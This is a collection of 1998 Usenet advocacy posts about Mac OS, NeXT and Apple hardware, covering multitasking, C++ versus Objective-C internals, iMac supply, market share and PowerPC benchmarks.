References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <35bfb853.101529031@198.0.0.100> <Josh.McKee-2707982201130001@pm3a20.rmac.net>
In article <Josh.McKee-2707982201130001@pm3a20.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> the fact that I can bring a PMT OS to a stand still by running
> one single application means that the OS does not implement true PMT.
Please site a respected definition of PMT that supports your claim. Also,
please define "application" in this context.
> Now you talk about Windows NT...I agree...much better OS.
But why? It is possible for an application to block the PMT in NT.
> To me, it is silly to begin a render and then tie up CPU cycles playing
> games...you only extend your rendering time.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: C++ vs. Objective C
Message-ID: <petrichEwsxqy.Gz4@netcom.com>
Organization: Netcom
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6pfo6q$5gn$1@nntp2.ba.best.com>
Date: Tue, 28 Jul 1998 11:11:22 GMT
Sender: petrich@netcom14.netcom.com
Here's my understanding of the difference between C++ and
Objective C, expressed as plain C:
Consider instance I of a class C, some class data D, and a method
M with argument A.
How it's represented:
[C++]
struct C {
[data] D;
};
[Objective C]
The above, plus:
struct ClassDef$ {
int Size;
int NMethods;
char **MethodNameList;
void **MethodPtrList;
} ClassDef$C;
ClassDef$C.Size = sizeof(struct C);
ClassDef$C.MethodNameList[0] = "Init";
ClassDef$C.MethodPtrList[0] = Init$C;
ClassDef$C.MethodNameList[1] = "M";
ClassDef$C.MethodPtrList[1] = M$C;
To create an instance of it:
[C++]
[stack]
struct C I;
Construct$C(&I);
or
[heap]
struct C *I = malloc(sizeof(C));
Construct$C(I);
where Construct$C has the form
void Construct$C(C *I) {...}
[Objective C]
C *I = (C *)Alloc(&ClassDef$C);
Perform$(&ClassDef$C, C, "Init");
where Perform$ has args (ClassDef$ *, void *, char *, ...);
To call a method:
[C++]
[stack]
M$C(&I,A);
[heap]
M$C(I,A)
[Objective C]
Perform$(&ClassDef$C, C, "M");
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 28 Jul 1998 02:18:05 GMT
Organization: Steel Driving Software
Message-ID: <01bdb9f8$09470840$3643bacd@isdnjhendry>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <Pine.SOL.3.96.980722114004.22438H-100000@ux8.cso.uiuc.edu> <anewmanagn-2407982316290001@a4p22.ideasign.com> <Pine.SOL.3.96.980726001949.7987E-100000@ux7.cso.uiuc.edu> <6pg1bb$5vr@news1.panix.com> <rmcassid-2707980932050001@dante.eng.uci.edu> <6pjb06$1jb@news1.panix.com>
Sal Denaro <sal@panix.com> wrote in article <6pjb06$1jb@news1.panix.com>...
> On Mon, 27 Jul 1998 09:32:05 -0700, Robert Cassidy <rmcassid@uci.edu>
wrote:
> >In article <6pg1bb$5vr@news1.panix.com>, sal@panix.com wrote:
> >>Could Apple _build_ 3 or 4 million iMacs? I doubt it. The real benifit
of
> >In a _year_?
>
> Not just any year, this year.
>
> >You bet. Aug 15 1998 to Aug 15 1999, Apple _could_ build 4
> >million iMacs. Keep in mind that Apple used to build about a million
Macs
> >per quarter back when they had 20+ models, horrible prediction models,
and
> >terrible ordering and inventory systems.
>
> Apple is _still_ having inventory problems. How long did you have to wait
> for your g3 powerbook? From what I've heard, Apple has been unable to
build
> enough g3s to meet demand.
Remember, these were PowerBooks. If I'm not mistaken, most of the delays
involved the 14.1" model, not the smaller-screen models. If that's true, it
probably was due to a manufacturing problem with that particular screen.
The iMac doesn't have an LCD, it's got an old-fashioned tube, which is
relatively easy to manufacture. Thus, it's unlikely to cause shortages. The
iMac also doesn't have batteries, a folding chassis, etc.
Date: Tue, 28 Jul 1998 07:32:31 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2807980732310001@wil43.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6peuo4$3d2$1@ironhorse.plsys.co.uk> <FIiROLCWddLd-pn2-LqHtQgYcutcv@localhost>
In article <FIiROLCWddLd-pn2-LqHtQgYcutcv@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> On Sun, 26 Jul 1998 10:00:36, mmalcolm crawford <malcolm@plsys.co.uk>
> thought aloud:
>
> > In <FIiROLCWddLd-pn2-BxfPX9XHOycJ@localhost> taiQ wrote:
> > > Huh? 386's had been off shelves for years by '95, even 486's were
> > > getting very rare. '95 was well into "Pentium" era. What's the
> > > relevance of all this? This Rhapsody / Mac OS X issue is about
> > > Apple, a one-stop shop, going back on their word that last year's
> > > plenty powerful PCI PowerPC Macs would run the long-awaited modern OS
> > > (which would also make them run more efficiently than with the legacy
> > > "Classic" Mac OS).
> > >
> > As far as I'm aware MacOS X Server, aka Rhapsody, will run on all the
> > machines Apple promised it would run on. Thus Apple is not reneging on its
> > promise.
>
> Meaning all (Apple) systems shipping on or after January 7, 1997 would
> be compatible with Mac OS X? This would be very good news, but is it
> reliable, i.e. any Apple-originated references to that effect?
Not quite. He said that all systems sold after Jan, 1997 would run Mac OS
X _Server_. (Actually, I think there may be one PowerBook that doesn't
work, but I'm not sure). That's not quite the same as Mac OS X.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 07:40:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807980740370001@wil43.dol.net>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100> <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net>
In article <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <35c2d68f.109269484@198.0.0.100>, nhughes@sunflower.com
(nate) wrote:
>
> > On 26 Jul 1998 03:00:34 GMT, sal@panix.com (Sal Denaro) wrote:
> >
> >
> > >NT, OS/2, Solaris and Netware for PPC were either killed or never shipped.
> > >CHRP was dead before the first box shipped. It was too little, too late.
> >
> > Then just how do you explain the PPC version of NT4 on my CD?
>
> Yes, Natey, you do indeed have a copy of NT4 for PPC on your NT4 CD.
> But I want to make one thing clear that others seem to not realize.
> Apple had NOTHING whatever to do with this product because it will
> NOT run on a Macintosh, and was never intended to. It was designed to
> run on IBM's 6000 series mini-mainframes which use PPC chips. I did
> see it run once on a CHRP machine. Motorola was showing it at the
> SF MacWorld a couple of years ago running on a CHRP prototype called
> a "Viper". There were no apps ever ported to it AFAIK.
Thank you for proving my point.
NT flopped on PPC, but it wasn't Apple's fault. There are people who have
been posting in this thread that Apple is responsible for the demise of
NT, OS/2, Netware, and Solaris on PPC. Your statement explains exactly why
it was not Apple's fault.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:03:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807980803060001@wil43.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <joe.ragosta-2507980655350001@elk43.dol.net> <6pd4gp$a9d$1@news.xmission.com> <joe.ragosta-2507981921450001@elk82.dol.net> <6pdtb7$kif$1@news.xmission.com> <invid-ya02408000R2507982240580001@enews.newsguy.com> <35BACB95.D3158B5B@planetary.net> <joe.ragosta-2707980738020001@wil67.dol.net> <MPG.1026c3561898de95989a2a@news.supernews.com>
In article <MPG.1026c3561898de95989a2a@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <joe.ragosta-2707980738020001@wil67.dol.net>,
> joe.ragosta@dol.net says...
> > Nonsense. What happened is that Novell dropped Netware for PPC. That fact
> > isn't in dispute.
> >
> > Now, ordinarily, one would assume that it was Novell's decision. The
> > people who are arguing that it's all because of Apple have the burden of
> > proof here.
> >
> But what I've been reminded of, is that it was a partnership between
> Novell and Apple. I even remember the big whoopla about it at WWDC.
> Then, at some point it because an Apple project, and then Apple finally
> pulled the plug.
>
> Saying that it's solely Apple's fault is foolish. But, saying Apple had
> nothing to do with, I don't think that's accurate.
True. But I never said that Apple had nothing to do with it. I was
objecting to the people who said it was completely Apple's fault that we
don't have CHRP, NT, OS/2, Netware, and Solaris on PPC today.
>
> And as to whether it is 5% or 85% responsible, I'm not stupid enough to
> put my hand in THAT hornet's nest <grin>.
>
> Donald
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:02:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807980802030001@wil43.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net> <19980727201430142403@pm2-2-05.aug.com> <macghod-2707981908410001@sdn-ar-002casbarp026.dialsprint.net>
In article <macghod-2707981908410001@sdn-ar-002casbarp026.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <19980727201430142403@pm2-2-05.aug.com>, nospamhattonr@aug.com
> (Rick) wrote:
>
> > Actually Apple is gaining in market share.
>
> Do you have any proof that APple's total worldwide marketshare is gaining?
How about:
http://www.news.com/News/Item/0,4,21540,00.html?st.ne.fd.gif.d
For the period from the 4th Quarter of 1997 to the 1st quarter of 1998,
Apple's overall U.S. market share increased from 3.4% to 4.0%.
Then there's the report last week that Apple's share in Education
increased from 32% in the 1st quarter to 38% in the second.
Then, there's the retail report discussed below.
Do you have any evidence showing that Apple's market share in any of these
areas decreased on a quarter-to-quarter period?
I didn't think so.
> > But... if Apple is doubleing their retail sales (and the machine prices
> > are cheaper, increasing their education sales and making profits - all
> > while slashing peripheral type sales, how can Apple not be getting
> > stronger?
>
> And who the hell told you apple is doubleing their retail sales? In may,
> their US retail market share was %9, the latest US RETAIL marketshare was
> %9.5.
They haven't doubled their retail sales, but their retial market share was
7% last November, 8% in March or April, 9% in May and 9.5% in June. Do you
see a trend here?
And there are two relevant facts regarding retail share:
1. They've established a solid growth position before the iMac even comes
out. The iMac should accelerate that.
2. 6 months ago, there were a lot of people running around screaming how
stupid it was for Apple to cut Best Buy and Sears and so on. It looks like
Apple was right. You do better with a smaller number of store actually
_selling_ your product than with a lot of stores actively discouraging
people from buying your product.
>
>
>
> > Doom and gloom. Bah. After listening to it for over 12 years, it gets
> > boring.
>
> Well at least George knows what the hell is going on and doesnt say things
> as wildly inaccurate as what you claim as fact!
George had a number of his facts wrong. See the sources above.
>
> Total marketshare has INCREASED. Apples units sales have stayed about the
Total market share can neither increase nor decrease. Total market share
is always 100%.
> same (actually they even dropped a insignificant ammount.) Increase of
> total market and shipping the same number of units results in a DECREASE
> of marketshare, comprende?
Sure. But you don't have any numbers to support your position. You're
_assuming_ that the market in the 2nd quarter was larger than the market
in the 1st quarter. That doesn't appear to be true. Many PC vendors were
hurting last quarter. Until you can provide some numbers that say the
total computer sales volume in the 2nd quarter was larger than in the 1st
quarter, you're just blowing smoke.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:11:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807980811130001@wil43.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com>
In article <MPG.1026c4f284b72c45989a2c@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <joe.ragosta-2707981154130001@wil50.dol.net>,
> joe.ragosta@dol.net says...
> > > If Joe was simply exasperating in this instance, well I still might
have said
> > > something nasty because I'm that silly and daft. But what got me was on
> > > occasion he made assertions that I did in fact say something that I
didn't.
> > > Not that he "thought that John means X" but outright that "John said
X" when
> > > I didn't. It is extremely wrong of him, IMO, to misrepresent what I said
> > > (especially when I outright didn't say any such thing). He does so
because
> > > he doesn't like me, which is more than understandable, but still is
> > > unacceptable (not not liking me, which is fine, but rather
misrepresenting
> > > others is not acceptable).
> >
> > WHAT I SAID was "IIRC, John Kheit said...". IIRC means that I wasn't sure.
> > When you said it wasn't you, I apologized and withdrew the statement.
> >
> > Hardly worth your threats to sue me--not once, but twice.
> >
> Yes. Nor are these sort of threats worth all the fuss. How many threats
> to sue have you seen on csma? How many actually got carried through?
>
> You made a mistake. He acted like a jerk. You both are treating the
> other's misdeeds as capital offenses. Lighten up, dudes!
>
The difference is that when someone threatens to drag in my life outside
of Usenet, it's a problem.
You may recall an incident where someone wrote to someone's employer about
what was written in csma. IMO, that was way over the line. Posting in csma
is a recreation. If you try to drag someone's work into it, you could ruin
their life.
The same is true of threats to sue. If he sued me, I'd have legal expenses
to defend myself, not to mention sleeping on the couch for the next few
years. I'm especially sensitive because people _have_ made an issue of my
private life at times.
Your life outside if Usenet should be private.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:19:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807980819240001@wil43.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com>
In article <6pie2b$9kh$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> It's similar to an old tort law self defense case. This knight in england
> was walking down the street and someone told him "your mother sucks beans" or
> somesuch other nonsense. The knight responded "if it were the hour of
> something or other, I would kill you." It wasn't that hour, so it was not a
> threat.
Thanks for proving my point.
My statement was "if I remember correctly, John Kheit said...."
I apparently remembered incorrectly, so what follows the conditional
doesn't apply.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:18:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807980818110001@wil43.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <macghod-2707982216010001@sdn-ar-002casbarp043.dialsprint.net> <6pjr2s$qsd$1@lwnws01.ne.highway1.com> <macghod-2807980008340001@sdn-ar-001casbarp023.dialsprint.net>
In article <macghod-2807980008340001@sdn-ar-001casbarp023.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Yeah, Joe does that to me all the time :P Like someone will say how spec
> doesnt correspond to reality at all, I will then tell them to compare that
> to bytemark, which says a g3 266 is twice as fast as a p2 300, and then
> Joe will say "oh, are you to stupid to know the difference between up to
> and on average".
THAT is exactly why you get flamed.
You posted a message that claimed that Apple was saying the G3s were _on
average_ twice as fast as the PII. Apple never made such a claim. You
never provided a single shred of evidence that supports this claim.
Apple stated that the G3s were _up to_ twice as fast. NOT _on average_.
You were WRONG, WRONG, WRONG.
When I pointed out your error, you resorted to drivel like the above post.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:40:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2807980840310001@wil43.dol.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com> <6pjb03$1jb@news1.panix.com>
In article <6pjb03$1jb@news1.panix.com>, sal@panix.com wrote:
> On Mon, 27 Jul 1998 06:23:58 GMT, rr6013@yahoo.com <rr6013@yahoo.com> wrote:
> >In <35BC0EF4.D2D0F1C8@nstar.net> Michael Peck wrote:
> >> So what does His Highness think OS vendors should do? Create a different
> >> UI for every different screen size on the planet? You've as much as
>
> Why not? That is exactly what you can do with NSInterfaceStyle. That is
> exactly the motivation behind MacOS' InterfaceManager and Gnome's themes.
> There are simple things that can be decided at run time that allow a GUI
> to scale from 800*600 to 1600*1200 without having to change the Apps.
Hmm. My only complaint is the fixed icon sizes. I'd like to see a utility
that automatically resizes the icon to be some fixed fraction of the
screen size. Otherwise, you have an icon that looks OK at 1600x1200 and
looks like a toy at 800x600.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:44:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Message-ID: <joe.ragosta-2807980844300001@wil43.dol.net>
References: <6pior2$7s4@newsb.netnews.att.com> <B1E274EF-1342E@206.165.43.181> <35bd25ab.808825192@news.clark.net>
In article <35bd25ab.808825192@news.clark.net>,
horner@foxtrotREMOVE.af1.odu.edu (John) wrote:
> On 27 Jul 98 18:18:10 -0700, "Lawson English" <english@primenet.com>
> wrote:
>
> >gupta@kcopsrm.tm.tta.moc-mirror said:
> >
> >>Motorola claims SPECint95 of 16.1, SPECfp95 of 9.9 @ 366 MHz
> >>with a 244 MHz, 1 MB L2. (The 300 MHz part gets 14.0 SPECint95
> >>with a 150 MHz, 1 MB L2.)
> >>
> >>Not a tremendous speed-bump, but the power consumption reduction
> >>should be very nice for laptops.
> >
> >
> >
> >AND it gives the iMac some room for growth.
> >
>
> The iMac is spec'd at 233 MHz. I could have sworn Motorola had faster
> chips out right now.
>
> Some room for growth for the 'cutting edge iMac'. Good ol Jobs. I can
> almost see the reality distortion field shimmering from over here.
What are you talking about? The processor on the iMac is on a ZIF card
which is apparently identical to the card in the PowerBook G3. As faster
cards become available, they could presumably be used in the iMac.
As for cutting edge, please provide a reference where Apple claimed that
this machine had cutting edge performance. Granted, Apple did see fit to
make their entry level machine with a state of the art processor instead
of a Pentium 200 MMX like so many cheap PCs, but they never claimed it was
the top of the line.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:55:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2807980855560001@wil43.dol.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <Pine.SOL.3.96.980722114004.22438H-100000@ux8.cso.uiuc.edu> <anewmanagn-2407982316290001@a4p22.ideasign.com> <Pine.SOL.3.96.980726001949.7987E-100000@ux7.cso.uiuc.edu> <6pg1bb$5vr@news1.panix.com> <rmcassid-2707980932050001@dante.eng.uci.edu> <6pjb06$1jb@news1.panix.com>
In article <6pjb06$1jb@news1.panix.com>, sal@panix.com wrote:
> On Mon, 27 Jul 1998 09:32:05 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
> >In article <6pg1bb$5vr@news1.panix.com>, sal@panix.com wrote:
> >>Could Apple _build_ 3 or 4 million iMacs? I doubt it. The real benifit of
> >In a _year_?
>
> Not just any year, this year.
>
> >You bet. Aug 15 1998 to Aug 15 1999, Apple _could_ build 4
> >million iMacs. Keep in mind that Apple used to build about a million Macs
> >per quarter back when they had 20+ models, horrible prediction models, and
> >terrible ordering and inventory systems.
>
> Apple is _still_ having inventory problems. How long did you have to wait
> for your g3 powerbook? From what I've heard, Apple has been unable to build
> enough g3s to meet demand.
PowerBooks? True. But reportedly limited by screen availability. They're
managing to keep up on the PowerBooks with the smaller screens.
I think they're keeping up just fine on the desktop G3s.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 08:51:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2807980851500001@wil43.dol.net>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Mon, 27 Jul 1998, Michael M. Eilers wrote:
>
> > What about Macs with a 80 MHz or 110 MHz PCI bus? I have a 60 MHz bus in
> > my PowerCenter Pro and it drives PCI cards noticeably faster than the 50
> > MHz bus in my 7500.
>
> You misunderstand what's going on here.
>
> The PCI bus on all Macs (and basically all PCs) is 33MHz and 32bits wide.
>
> You are talking about motherboard bus speeds. This is the speed at which
> the processor accesses memory and the PCI controller. No matter the memory
> bus speeds, the PCI bus is always going to be 33MHz (or right around
> there... some machines have that as a multiple of the memory bus speeds so
> that sometimes it's 31MHz or 35Mhz).
>
> What happens on your PowerCenter Pro is 3 things.
>
> 1) The PCP has an accelerated graphics controller on PCI (32bit 33MHz).
> The 7500 has an unaccelerated graphics solution with a 64bit 50Mhz path
> from processor to VRAM.
>
> 2) The 7500 has a slower processor (unless you've upgraded it recently).
>
> 3) The PCP has a faster memory bus. (60Mhz vs. 50MHz)
The 7500 has interleaved memory which makes up part of this difference.
>
> While the 7500 has a much wider and faster path directly to VRAM, the PCP
> has a graphics accelerator. That means that the processor must do all the
> work on the 7500 whereas the dedicated graphics chip does some of the work
> on the PCP. This results in a trade off. The 7500 will be faster for
> things that are bandwidth limited. The PCP will be faster for things that
> can be done off the main processor and on the graphics chip.
>
> Since the 7500 has a slower processor to start with, it can't do the
> graphics calculations as fast as the PCP can when things aren't
> accelerated.
The interesting thing is how this all balances out.
I have a 7500 with 2 MB VRAM and a 604e/200 upgrade card. I got a good
deal on a Millenium II video card, so I plugged it in and did some
benchmarks.
By MacBench, my 7500's video was about 30% faster than the Millenium II.
Furthermore, the Millenium II was visibly slower in screen redraws. So I
sold it and used the money for 2 MB more VRAM for the 7500 and a big hard
drive.
Apparently, the faster video access to the 7500's on board graphics
processor makes up for the higher performance of the Millenium II.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 09:00:46 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
